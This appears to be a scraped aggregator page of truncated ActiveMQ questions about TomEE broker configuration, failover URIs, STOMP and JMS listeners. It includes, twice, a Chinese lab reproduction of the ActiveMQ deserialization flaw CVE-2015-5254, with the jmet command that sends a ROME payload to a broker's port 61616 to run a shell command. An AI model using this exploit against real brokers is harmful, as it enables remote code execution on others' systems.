activemq

Failed to configure custom ActiveMQ broker in TomEE

时间秒杀一切 提交于 2019-12-11 12:42:33
问题 Until now I used the default ActiveMQ configuration in TomEE. Now I would like to turn on scheduler support, so I added these things to tomee.xml: <Resource id="MyJmsResourceAdapter" type="ActiveMQResourceAdapter"> BrokerXmlConfig = broker:(tcp://127.0.0.1:61616)?usekahadb=true&persistent=true&schedulerSupport=true </Resource> <Resource id="MyJmsConnectionFactory" type="javax.jms.ConnectionFactory"> ResourceAdapter = MyJmsResourceAdapter </Resource> But I get these error messages: Database

using activemq failover URI for reconnecting, while timeout on first connection

﹥>﹥吖頭↗ 提交于 2019-12-11 12:42:19
问题 I am currently using activemq failover uir for client reconnecting to the broker, and I also don't want "send" operation to be blocked when it disconnect, so I am using URI like failover:(tcp://192.168.193.177:61616)?timeout=1 , while the problem is if I can't get connection for the first time, the connecting will time out and the reconnecting doesn't work, the exception I got: Dec 7, 2011 3:39:28 PM org.apache.activemq.transport.failover.FailoverTransport oneway INFO: Failover timed out

ActiveMQ反序列化漏洞(CVE-2015-5254)复现

杀马特。学长 韩版系。学妹 提交于 2019-12-11 11:13:19
简介: Apache ActiveMQ是Apache软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。 1.首先在kali里面执行以下命令: cd var/opt wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar mkdir external 2.输入: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.199.120 61616 注释:-Q指定队列消息名,-I指定JMS客户端,这里是ActiveMQ,-Y指定具体的命令,-Yp指定payload类型,其后分别是ActiveMQ所在机器的ip及工作端口 3.现在会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://192.168.199.120:8161/admin

PHP Stomp: Reading all messages in a queue

纵饮孤独 提交于 2019-12-11 10:53:15
问题 I need to find a specific message within an ActiveMQ queue using PHP and remove it. AFAIK the only way to do so is to read all messages that are currently queued and ACK the one message I'm interested in. (The example in the PHP manual for Stomp::ack does more or less the same thing, they don't read all messages, but only ACK the one that matches). So, I wrote this code (this is only the relevant part, obviously): class StompController { private $con; public function __construct(

Transport scheme NOT recognized: [tcp]

纵饮孤独 提交于 2019-12-11 10:44:36
问题 It has been years since I worked with activeMQ some. I am now implementing a new activeMQ server with client apps on the inside and outside. I tested my outside client app locally, but when I deployed it, I started getting errors like: 2014-04-10 08:01:31,392 [signInResultListenerContainer-1] ERROR org.springframework.jms.listener.DefaultMessageListenerContainer - Could not refresh JMS Connection for destination 'queue://signInResult' - retrying in 5000 ms. Cause: Could not create Transport.

ActiveMQ单机部署及简单应用

主宰稳场 提交于 2019-12-11 10:32:17
系统版本:Centos 7 前言   MQ是消息中间件,是一种在分布式系统中应用程序借以传递消息的媒介,常用的有ActiveMQ,RabbitMQ,kafka。ActiveMQ是Apache下的开源项目,完全支持JMS1.1和J2EE1.4规范的JMS Provider实现。 特点: 1、支持多种语言编写客户端 2、对spring的支持,很容易和spring整合 3、支持多种传输协议:TCP,SSL,NIO,UDP等 4、支持AJAX 消息形式: 1、点对点(queue) 2、一对多(topic) 下载前准备 配置java环境变量 1、下载安装包 两种方案   1) ActiveMQ官网下载 ,然后上传至服务器   2)通过命令下载 wget http://archive.apache.org/dist/activemq/5.15.10/apache-activemq-5.15.10-bin.tar.gz 2、解压,修改文件夹名称,进入bin目录 # tar -zxvf /usr/local/apache-activemq-5.15.10-bin.tar.gz -C /usr/local# mv /usr/local/apache-activemq-5.15.10 /usr/local/apache-activemq# cd /usr/local/apache-activemq

ActiveMQ反序列化漏洞(CVE-2015-5254)复现

筅森魡賤 提交于 2019-12-11 10:26:06
简介: Apache ActiveMQ是Apache软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。 1.首先在kali里面执行以下命令: cd var/opt wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar mkdir external 2.输入: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.199.120 61616 注释:-Q指定队列消息名,-I指定JMS客户端,这里是ActiveMQ,-Y指定具体的命令,-Yp指定payload类型,其后分别是ActiveMQ所在机器的ip及工作端口 3.现在会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://192.168.199.120:8161/admin

activemq User is not authorized to create: topic://ActiveMQ.Advisory.Connection

故事扮演 提交于 2019-12-11 10:18:52
问题 I am trying to use authorization in activemq, but stuck for some time now. Here is my java code, everything works fine when I remove the authorization plugin. I am trying to create a topic named "room2". Context jndiContext = new InitialContext(); ConnectionFactory connectionFactory; connectionFactory = (ConnectionFactory) jndiContext .lookup("ConnectionFactory"); connection = connectionFactory.createConnection("system", "manager"); session = connection.createSession(false, Session.AUTO

Gracefully stop DefaultMessageListenerContainer having a receiveTimeout = -1

不打扰是莪最后的温柔 提交于 2019-12-11 10:16:00
问题 Can somebody point me to a way to grecefully stop a DefaultMessageListenerContainer in Spring that is defined with a receiveTimeout = -1 (i.e. it is using the blocking version of javax.jms.MessageConsumer#receive) ? Actually, I've tried both stop() and shutdown() methods of DMLC but consumer thread is stuck on the receive() call. "heartBeatContainer-1" prio=6 tid=0x0304d800 nid=0x1d20 in Object.wait() [0x037ef000] java.lang.Thread.State: WAITING (on object monitor) at java.lang.Object.wait

Consume multiple ActiveMQ queues via the same ActiveMQConnectionFactory

别来无恙 提交于 2019-12-11 09:45:47
问题 My application processes incoming messages that are placed on a single ActiveMQ queue (named "incoming.queue"). I have a MessageListener which processes the messages, and all is working well. My Java config is below: @Configuration @ComponentScan(basePackages="uk.co.domain") public class JmsConfig { @Bean public ActiveMQConnectionFactory connectionFactory() { ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(); activeMQConnectionFactory.setBrokerURL("tcp:/